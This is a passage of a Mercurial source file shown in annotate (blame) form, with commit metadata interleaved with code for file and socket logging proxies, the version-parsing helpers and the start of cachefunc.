diff
changeset
|
759 |
38314
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
760 if size == -1 and res == '': |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
761 # Suppress pointless read(-1) calls that return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
762 # nothing. These happen _a lot_ on Python 3, and there |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
763 # doesn't seem to be a better workaround to have matching |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
764 # Python 2 and 3 behavior. :( |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
765 return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
766 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
767 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
768 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
769 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
770 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
771 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
772 def readline(self, res, limit=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
773 if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
774 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
775 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
776 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
777 self.fh.write('%s> readline() -> %d' % (self.name, len(res))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
778 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
779 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
780 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
781 def readinto(self, res, dest): |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
782 if not self.reads: |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
783 return |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
784 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
785 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
786 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest), |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
787 res)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
788 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
789 data = dest[0:res] if res is not None else b'' |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
790 self._writedata(data) |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
791 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
792 def write(self, res, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
793 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
794 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
795 |
36631
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
796 # Python 2 returns None from some write() calls. Python 3 (reasonably) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
797 # returns the integer bytes written. |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
798 if res is None and data: |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
799 res = len(data) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
800 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
801 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
802 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
803 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
804 self._writedata(data) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
805 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
806 def flush(self, res): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
807 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
808 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
809 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
810 self.fh.write('%s> flush() -> %r\n' % (self.name, res)) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
811 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
812 # For observedbufferedinputpipe. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
813 def bufferedread(self, res, size): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
814 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
815 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
816 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
817 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
818 self.fh.write('%s> bufferedread(%d) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
819 self.name, size, len(res))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
820 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
821 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
822 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
823 def bufferedreadline(self, res): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
824 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
825 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
826 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
827 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
828 self.fh.write('%s> bufferedreadline() -> %d' % ( |
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|
829 self.name, len(res))) |
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diff
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|
830 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
831 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
832 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
833 def makeloggingfileobject(logh, fh, name, reads=True, writes=True, |
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diff
changeset
|
834 logdata=False, logdataapis=True): |
36524
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util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
835 """Turn a file object into a logging file object.""" |
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util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
836 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
837 observer = fileobjectobserver(logh, name, reads=reads, writes=writes, |
37044
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
838 logdata=logdata, logdataapis=logdataapis) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
839 return fileobjectproxy(fh, observer) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
840 |
37010
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diff
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|
841 class socketobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
842 """Logs socket activity.""" |
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util: observable proxy objects for sockets
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diff
changeset
|
843 def __init__(self, fh, name, reads=True, writes=True, states=True, |
37044
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|
844 logdata=False, logdataapis=True): |
37010
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diff
changeset
|
845 self.fh = fh |
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diff
changeset
|
846 self.name = name |
8453699a1f21
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parents:
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diff
changeset
|
847 self.reads = reads |
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parents:
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diff
changeset
|
848 self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
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diff
changeset
|
849 self.states = states |
8453699a1f21
util: observable proxy objects for sockets
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diff
changeset
|
850 self.logdata = logdata |
37044
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diff
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|
851 self.logdataapis = logdataapis |
37010
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util: observable proxy objects for sockets
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diff
changeset
|
852 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
853 def makefile(self, res, mode=None, bufsize=None): |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
854 if not self.states: |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
855 return |
8453699a1f21
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diff
changeset
|
856 |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
857 self.fh.write('%s> makefile(%r, %r)\n' % ( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
858 self.name, mode, bufsize)) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
859 |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
860 def recv(self, res, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
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diff
changeset
|
861 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
862 return |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
863 |
37044
d3a9036d9ae9
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diff
changeset
|
864 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
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parents:
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diff
changeset
|
865 self.fh.write('%s> recv(%d, %d) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
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diff
changeset
|
866 self.name, size, flags, len(res))) |
37010
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diff
changeset
|
867 self._writedata(res) |
8453699a1f21
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parents:
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diff
changeset
|
868 |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
869 def recvfrom(self, res, size, flags=0): |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
870 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
871 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
872 |
37044
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util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
873 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
874 self.fh.write('%s> recvfrom(%d, %d) -> %d' % ( |
d3a9036d9ae9
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
875 self.name, size, flags, len(res[0]))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
876 |
37010
8453699a1f21
util: observable proxy objects for sockets
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diff
changeset
|
877 self._writedata(res[0]) |
8453699a1f21
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parents:
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diff
changeset
|
878 |
8453699a1f21
util: observable proxy objects for sockets
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parents:
36991
diff
changeset
|
879 def recvfrom_into(self, res, buf, size, flags=0): |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
880 if not self.reads: |
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util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
881 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
882 |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
883 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
884 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % ( |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
885 self.name, size, flags, res[0])) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
886 |
37010
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
887 self._writedata(buf[0:res[0]]) |
8453699a1f21
util: observable proxy objects for sockets
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parents:
36991
diff
changeset
|
888 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
889 def recv_into(self, res, buf, size=0, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
890 if not self.reads: |
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util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
891 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
892 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
893 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
894 self.fh.write('%s> recv_into(%d, %d) -> %d' % ( |
d3a9036d9ae9
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
895 self.name, size, flags, res)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
896 |
37010
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
897 self._writedata(buf[0:res]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
898 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
899 def send(self, res, data, flags=0): |
8453699a1f21
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diff
changeset
|
900 if not self.writes: |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
901 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
902 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
903 self.fh.write('%s> send(%d, %d) -> %d' % ( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
904 self.name, len(data), flags, len(res))) |
8453699a1f21
util: observable proxy objects for sockets
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diff
changeset
|
905 self._writedata(data) |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
906 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
907 def sendall(self, res, data, flags=0): |
8453699a1f21
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36991
diff
changeset
|
908 if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
909 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
910 |
37044
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parents:
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diff
changeset
|
911 if self.logdataapis: |
d3a9036d9ae9
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diff
changeset
|
912 # Returns None on success. So don't bother reporting return value. |
d3a9036d9ae9
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
913 self.fh.write('%s> sendall(%d, %d)' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
914 self.name, len(data), flags)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
915 |
37010
8453699a1f21
util: observable proxy objects for sockets
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diff
changeset
|
916 self._writedata(data) |
8453699a1f21
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parents:
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diff
changeset
|
917 |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
918 def sendto(self, res, data, flagsoraddress, address=None): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
919 if not self.writes: |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
920 return |
8453699a1f21
util: observable proxy objects for sockets
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parents:
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diff
changeset
|
921 |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
922 if address: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
923 flags = flagsoraddress |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
924 else: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
925 flags = 0 |
8453699a1f21
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diff
changeset
|
926 |
37044
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diff
changeset
|
927 if self.logdataapis: |
d3a9036d9ae9
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
928 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % ( |
d3a9036d9ae9
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
929 self.name, len(data), flags, address, res)) |
d3a9036d9ae9
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
930 |
37010
8453699a1f21
util: observable proxy objects for sockets
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diff
changeset
|
931 self._writedata(data) |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
932 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
933 def setblocking(self, res, flag): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
934 if not self.states: |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
935 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
936 |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
937 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag)) |
8453699a1f21
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
938 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
939 def settimeout(self, res, value): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
940 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
941 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
942 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
943 self.fh.write('%s> settimeout(%r)\n' % (self.name, value)) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
944 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
945 def gettimeout(self, res): |
8453699a1f21
util: observable proxy objects for sockets
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946 if not self.states: |
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947 return |
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948 |
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949 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res)) |
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950 |
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|
951 def setsockopt(self, res, level, optname, value): |
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952 if not self.states: |
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953 return |
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954 |
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|
955 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % ( |
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956 self.name, level, optname, value, res)) |
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957 |
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958 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True, |
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959 logdata=False, logdataapis=True): |
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960 """Turn a socket into a logging socket.""" |
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961 |
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962 observer = socketobserver(logh, name, reads=reads, writes=writes, |
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963 states=states, logdata=logdata, |
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964 logdataapis=logdataapis) |
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965 return socketproxy(fh, observer) |
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|
966 |
7632 | 967 def version(): |
968 """Return version information if available.""" | |
969 try: | |
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970 from . import __version__ |
7632 | 971 return __version__.version |
972 except ImportError: | |
973 return 'unknown' | |
974 | |
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975 def versiontuple(v=None, n=4): |
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976 """Parses a Mercurial version string into an N-tuple. |
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977 |
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|
978 The version string to be parsed is specified with the ``v`` argument. |
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979 If it isn't defined, the current Mercurial version string will be parsed. |
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980 |
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981 ``n`` can be 2, 3, or 4. Here is how some version strings map to |
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982 returned values: |
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983 |
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984 >>> v = b'3.6.1+190-df9b73d2d444' |
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985 >>> versiontuple(v, 2) |
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986 (3, 6) |
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987 >>> versiontuple(v, 3) |
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988 (3, 6, 1) |
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989 >>> versiontuple(v, 4) |
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990 (3, 6, 1, '190-df9b73d2d444') |
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991 |
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992 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
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993 (3, 6, 1, '190-df9b73d2d444+20151118') |
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|
994 |
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995 >>> v = b'3.6' |
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996 >>> versiontuple(v, 2) |
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997 (3, 6) |
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998 >>> versiontuple(v, 3) |
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999 (3, 6, None) |
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1000 >>> versiontuple(v, 4) |
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1001 (3, 6, None, None) |
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1002 |
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1003 >>> v = b'3.9-rc' |
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1004 >>> versiontuple(v, 2) |
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1005 (3, 9) |
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1006 >>> versiontuple(v, 3) |
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1007 (3, 9, None) |
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1008 >>> versiontuple(v, 4) |
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1009 (3, 9, None, 'rc') |
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1010 |
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1011 >>> v = b'3.9-rc+2-02a8fea4289b' |
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1012 >>> versiontuple(v, 2) |
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1013 (3, 9) |
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1014 >>> versiontuple(v, 3) |
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1015 (3, 9, None) |
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1016 >>> versiontuple(v, 4) |
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1017 (3, 9, None, 'rc+2-02a8fea4289b') |
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1018 |
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|
1019 >>> versiontuple(b'4.6rc0') |
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1020 (4, 6, None, 'rc0') |
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1021 >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
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1022 (4, 6, None, 'rc0+12-425d55e54f98') |
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|
1023 >>> versiontuple(b'.1.2.3') |
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1024 (None, None, None, '.1.2.3') |
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|
1025 >>> versiontuple(b'12.34..5') |
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1026 (12, 34, None, '..5') |
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|
1027 >>> versiontuple(b'1.2.3.4.5.6') |
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1028 (1, 2, 3, '.4.5.6') |
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1029 """ |
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1030 if not v: |
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1031 v = version() |
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|
1032 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) |
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|
1033 if not m: |
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1034 vparts, extra = '', v |
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|
1035 elif m.group(2): |
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|
1036 vparts, extra = m.groups() |
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1037 else: |
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1038 vparts, extra = m.group(1), None |
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1039 |
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1040 vints = [] |
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1041 for i in vparts.split('.'): |
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1042 try: |
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|
1043 vints.append(int(i)) |
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1044 except ValueError: |
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|
1045 break |
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|
1046 # (3, 6) -> (3, 6, None) |
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1047 while len(vints) < 3: |
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1048 vints.append(None) |
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1049 |
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1050 if n == 2: |
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1051 return (vints[0], vints[1]) |
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1052 if n == 3: |
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1053 return (vints[0], vints[1], vints[2]) |
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1054 if n == 4: |
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1055 return (vints[0], vints[1], vints[2], extra) |
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1056 |
3145
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|
1057 def cachefunc(func): |
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|
1058 '''cache the result of function calls''' |
3147
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parents:
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|
1059 # XXX doesn't handle keywords args |
28832
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timeless <timeless@mozdev.org>
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|
1060 if func.__code__.co_argcount == 0: |
20835
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|
1061 cache = [] |
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1062 def f(): |
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|
1063 if len(cache) == 0: |
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changeset
|
1064 cache.append(func()) |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1065 return cache[0] |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
1066 return f |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
1067 cache = {} |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1068 if func.__code__.co_argcount == 1: |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
1069 # we gain a small amount of time because |
97420a49188d
add comments in cachefunc
